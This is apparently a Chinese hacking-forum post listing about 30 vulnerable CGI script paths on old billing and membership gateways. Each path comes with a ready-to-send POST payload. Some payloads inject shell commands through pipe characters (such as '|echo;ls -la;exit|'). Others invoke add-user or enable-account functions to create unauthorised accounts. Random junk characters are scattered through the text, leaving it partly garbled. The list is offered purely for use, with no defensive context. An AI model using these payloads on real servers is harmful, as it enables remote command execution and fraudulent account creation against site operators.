Cgi-bin 30个漏洞＋使用方法

admin

==============================

; O6 v5 s" d6 ^  E. v/smspass.pl
username=username&password=password

. ?3 Z; g' O9 p1 C* Q/index.cgi
wei=ren&gen=command

( V( T% m) g! n+ ]- p/passmaster.cgi
Action=Add&Username=Username&Password=Password
# Z3 u" x1 f6 w7 \
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

# {% J7 D* X6 [% j  [/form.cgi
0 [1 o/ t* [5 E( m: D. H8 Kname=xxxx&email=email&subject=xxxx&response=|echo;ls|

4 ?8 H: H3 b& g/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
1 a+ z: w5 G* \+ \
/ccbill-local.asp
  {2 d$ m8 e0 d: d# u. w* h2 \post_values=username:password

/count.cgi
! `5 x: t# Z  M  Y3 Gpinfile=|echo;ls -la;exit|
7 u' {( h+ P: ~! b
# ~! E1 |6 D0 `. I( E/recon.cgi
) i( }- h& B% F: p5 s( W/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|
; u; m: Q; @5 c/ p4 `7 ?9 D% X! }) _/ F
( L. ?( u& Y2 V9 \7 l3 n+ n: c/modify.cgi
username=username&password=password&expire=30
9 o# q7 d7 y. l
/openjournal.cgi
+ u* ^8 M& r3 W6 qedit=1&ct=2&go=|echo;ls -al;exit|
7 a& m1 F4 d2 Z$ G/ y* r
1 U6 P8 W$ r2 B/gx9passwd.cgi
4 ]1 H. `- n5 q0 `$ hcmd=ADD&user=username&pass=password

/probecontrol.cgi
$ h4 e. \' ^8 }: A3 g2 i1 s# p0 S3 e$ Fcommand=enable&username=username&password=password
! q5 F% s! N3 X' Q! C& V# G: w
& y( [8 h2 ?7 c# N; s* C/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
0 v6 a& y" ]( p: M
/htadd.pl
- T# i+ z) o9 \$ f% Uconfigfile=|echo; ls -alt; exit
1 z9 K" u$ T7 B2 I7 u5 F8 L1 N
/gx9passwd.cgi
9 `/ W' e: d- \' lcmd=ADD&user=username&pass=password
" {3 ^! u; w$ V0 p/ f3 \2 C) \
/ibill*.pl
' M! |1 s3 A2 }( w; @: c& Dreqtype=add&authpwd=authpwd&username=username&password=password
* w. N1 `0 u3 r) X
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

- \# T, H) P! l/globill_ut.cgi
' d9 y. s4 C8 Fdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

' J' ~( k2 N: N4 x. [- x  z/globoSALErum.cgi
! d. G4 {/ c6 Q8 raction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS
5 z! N2 S, V( g/ m, k
/pincount.cgi
" v* S1 h* [3 M! ~  g7 u& n* z/cgi-bin/mastergate/pincount.cgi
: g( V; m# y0 G  E$ ^4 y/ x5 P" G; {pinfile=|echo;pwd;exit|

) F0 |0 w! D) _. C7 u+ k/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
* D5 Q5 l! @, W" \username=username&password=password&password2=password&ref1=|echo;ls -al;exit
: C/ S% i$ s4 E; b
/af.cgi
/env.cgi
ADD+;echo;pwd;exit
, H, T9 H* {: N, v
4 E: a3 G) S* x  w' ^/count.cgi
pinfile=|echo;pwd;exit|

0 \- L: Y/ C- g5 P9 W/recon.cgi
* @' t6 r* ^, B5 H0 msearchoption=1&searchfor=|echo;ls%20-al;exit|
; G6 ?8 _2 {/ |& L
  ]! i+ U9 k9 [1 h( l9 g# I% ~, }  I/add.cgi
+ h9 N0 o9 F5 `- a# Y8 p: v1 Lusername=username&password=password&expire=30

==============================